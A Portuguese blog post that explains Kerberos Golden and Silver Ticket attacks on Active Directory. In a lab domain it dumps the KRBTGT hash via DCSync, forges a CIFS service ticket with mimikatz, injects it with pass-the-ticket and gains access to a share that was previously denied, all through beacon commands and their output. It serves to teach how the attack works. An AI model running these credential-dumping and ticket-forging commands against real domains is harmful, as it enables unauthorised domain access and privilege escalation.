Avatar “The only person in computing that is paid to actually understand the system from top to bottom is the attacker! Everybody else usually gets paid to do their parts.” Halvar Flake

Golden & Silver

Como mostrado no post anterior, em meio ao processo de autenticação de um usuário/computador em um ambiente Microsoft Active Directory utilizando o protocolo Kerberos, uma troca de informações ocorre para validar a conta em questão.

Ao ocorrer a solicitação de acesso a algum recurso existente no domínio utilizando o protocolo Kerberos, automaticamente será solicitado ao KDC um ticket do tipo TGT (Ticket-Granting Ticket). Caso a conta seja válida, o KDC retornará o ticket assinado/criptografado pela conta KRBTGT.

KRBTGT is also the security principal name used by the KDC for a Windows Server domain, as specified by RFC 4120. The KRBTGT account is the entity for the KRBTGT security principal, and it is created automatically when a new domain is created. MS Docs

Golden Tickets

O problema de segurança ocorre quando o hash da conta KRBTGT é comprometido. Nesse momento, o atacante pode forjar TGT’s, assinando-os com o hash obtido e se utilizar de qualquer conta presente no domínio (forjada) empoderando-se dos privilégios concedidos as mesmas ou adicionando novos privilégios alterando a estrutura do ticket.

  • Forging Golden Tickets

O ataque em questão foi apresentado por Benjamin Delpy, mais conhecido como @gentilkiwi. Ele é o criador das famosas ferramentas Mimikatz e Kekeo, amplamente utilizadas por todos no mundo offsec.

Para efeitos de demonstração, foi utilizado a ferramenta Mimikatz para a execução do ataque. Existem outras ferramentas que podem auxiliar na tarefa, como o projeto Rubeus, presente na toolkit GhostPack, projeto da SpecterOps criado para portar a maioria das ferramentas que antes eram escritas em Powershell para C#. Após as melhorias de seguranças aplicadas a partir da versão 5 do Powershell, muitos ataques começaram a ser bloqueados, causando desconforto para os analistas. Mas isso é história para outro blog post.

Para que o Mimikatz possa executar o ataque, são necessários alguns bits de informação:

User: Usuário no qual o atacante deseja obter iguais privilégios.

Domain Name: FQDN (Fully Qualified Domain Name)

Domain SID: Domain SID

KRBTGT NTLM Hash: Hash extraído do usuário KRBTGT.

Como mencionado, o atacante poderá alterar a estrutura do ticket, adicionando outras informações utilizando os parâmetros “/groups:” e “id”, para fornecer informções sobre grupos (Grupos com poderes administrativos: 512,513,518,519,520 ) e RID’s.

O processo de extração do hash da conta KRBTGT pode ser realizado de diversas formas, para mais informações, recomendo a leitura do blog post Dumping Domain Password Hashes.

Processo de obtenção do hash através de DCSYNC Attack.

beacon> dcsync hnr.local krbtgt
[*] Tasked beacon to run mimikatz's @lsadump::dcsync /domain:hnr.local /user:krbtgt command
[+] host called home, sent: 746570 bytes
[+] received output:
[DC] 'hnr.local' will be the domain
[DC] 'GOKU.hnr.local' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN           : krbtgt
** SAM ACCOUNT **
SAM Username         : KRBTGT  
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 11/02/2020 00:41:33
Object Security ID   : S-1-5-21-45967290-1955130809-1078885739-502
Object Relative ID   : 502
Credentials:
  Hash NTLM: 86db69b9000654a8a4d4b6abe6ed1553

Com as informações necessárias em mãos, a execução do ataque pode ser concluída.

Com a execução do mimikatz, o ticket para o usuário ganderson foi forjado e submetido na sessão atual utilizando um ataque chamado Pass-The-Ticket, parametro “/ptt” (Devo criar um outro blog post mostrando como funciona o Pass-the-ticket e Over Pass the Hash).


Silver Tickets

Silver Tickets seguem a mesma ideia do Golden Ticket, porém, forjando um TGS (Service Ticket) em vez do TGT. Os tickets são criados utilizando a conta do computador ou conta de serviço do recurso que o atacante deseja acessar. As informações sobre o usuário, grupo e etc podem ser forjadas sem a necessidade de nenhuma troca de informação entre User Workstation e KDC.

Por padrão, as senhas das contas dos computadores são alteradas a cada 30 dias. Logo, o hash da conta pode ser alterado em meio ao projeto, causando perda de acesso. Para contornar o “problema”, é possível solicitar a informação sobre a máquina alvo e verificar o tempo limite até a senha ser alterada novamente.

beacon> powerpick Get-NetComputer -Name SQL | Select name, samaccounttype, pwdlastset
[*] Tasked beacon to run: Get-NetComputer -Name SQL | Select name, samaccounttype, pwdlastset (unmanaged)
[+] host called home, sent: 133715 bytes
[+] received output:

name  samaccounttype pwdlastset         
----  -------------- ----------         
SQL  MACHINE_ACCOUNT 12/02/2020 14:53:05

Caso um usuário tente acessar um recurso no qual o mesmo não possui autorização, a negação do acesso é automaticamente efetuada. Para fins de demonstração, foi solicitado o acesso ao serviço de compartilhamento por um usuário que propositalmente não possui privilégios para tal.

beacon> shell dir \\SQL.hnr.local\c$
[*] Tasked beacon to run: dir \\SQL.hnr.local\c$
[+] host called home, sent: 53 bytes
[+] received output:
Access is denied.

Para forjar um Silver Ticket, algumas informações adicionais são necessárias:

Taget: FQDN (Fully Qualified Domain Name)

Service: Serviço no qual deseja obter acesso (PS-Remoting, WMI, Scheduled Tasks, CIFS, LDAP, WINRM…)

rc4: NTLM Hash do computador/serviço, usado para assinar os tickets de serviço.

beacon> mimikatz kerberos::golden /domain:hnr.local /user:admin /sid:S-1-5-21-45967290-1955130809-1078885739 /target:SQL.hnr.local /service:CIFS /rc4:95e93eb10b58109a6b0227d8c821dbdd /ptt
[*] Tasked beacon to run mimikatz's kerberos::golden /domain:hnr.local /user:admin /sid:S-1-5-21-45967290-1955130809-1078885739 /target:SQL.hnr.local /service:CIFS /rc4:95e93eb10b58109a6b0227d8c821dbdd /ptt command
[+] host called home, sent: 998474 bytes
[+] received output:
User      : admin
Domain    : hnr.local (HNR)
SID       : S-1-5-21-45967290-1955130809-1078885739
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: 95e93eb10b58109a6b0227d8c821dbdd - rc4_hmac_nt      
Service   : CIFS
Target    : SQL.hnr.local
Lifetime  : 01/03/2020 18:39:26 ; 27/02/2030 18:39:26 ; 27/02/2030 18:39:26
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'admin @ hnr.local' successfully submitted for current session

Utilizando a ferramenta klist, podemos confirmar que os tickets injetados permanecem armazenados em cache.

beacon> shell klist
[*] Tasked beacon to run: klist
[+] host called home, sent: 36 bytes
[+] received output:

Current LogonId is 0:0x51f1d

#0>	Client: jbolsonaro @ HNR.LOCAL
	Server: krbtgt/HNR.LOCAL @ HNR.LOCAL
	KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
	Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize 
	Start Time: 3/2/2020 13:56:50 (local)
	End Time:   3/2/2020 23:41:06 (local)
	Renew Time: 3/8/2020 18:11:06 (local)
	Session Key Type: AES-256-CTS-HMAC-SHA1-96
	Cache Flags: 0x2 -> DELEGATION 
	Kdc Called: GOKU.hnr.local

#1>	Client: jbolsonaro @ HNR.LOCAL
	Server: host/sql.hnr.local @ HNR.LOCAL
	KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
	Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize 
	Start Time: 3/1/2020 18:11:06 (local)
	End Time:   3/2/2020 4:11:06 (local)
	Renew Time: 3/8/2020 18:11:06 (local)
	Session Key Type: AES-256-CTS-HMAC-SHA1-96
	Cache Flags: 0 
	Kdc Called: GOKU.hnr.local

Como pode-se notar, após submeter o Silver Ticket na sessão para o serviço CIFS, o acesso ao compartilhamento foi concedido, demonstrando a perfeita execução do ataque.

beacon> shell dir \\SQL.hnr.local\c$
[*] Tasked beacon to run: dir \\SQL.hnr.local\c$
[+] host called home, sent: 53 bytes
[+] received output:
 Volume in drive \\SQL.hnr.local\c$ has no label.
 Volume Serial Number is 04AB-790B

 Directory of \\SQL.hnr.local\c$

01/03/2020  11:09    <DIR>          HNRDOCS
15/09/2018  04:19    <DIR>          PerfLogs
12/02/2020  17:07    <DIR>          Program Files
12/02/2020  16:35    <DIR>          Program Files (x86)
12/02/2020  15:34    <DIR>          SQLServer2017Media
12/02/2020  15:53    <DIR>          Users
01/03/2020  18:11    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  47.061.692.416 bytes free

O intuito dos posts é se fazer entender como funcionam os ataques. As ferramentas apresentadas são apenas meios para que possamos alcançar um objetivo. Espero que tenha conseguido passar com clareza todas as informações necessárias para o entendimento e sanar quaisquer dúvidas. Caso eu tenha pecado em algo, ou alguma informação não teve embasamento necessário para seu entendimento, por favor entre em contato comigo, ficarei extramente feliz em ajudar.

Até o próximo.!!!

Referências

Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It https://www.youtube.com/watch?v=lJQn06QLwEw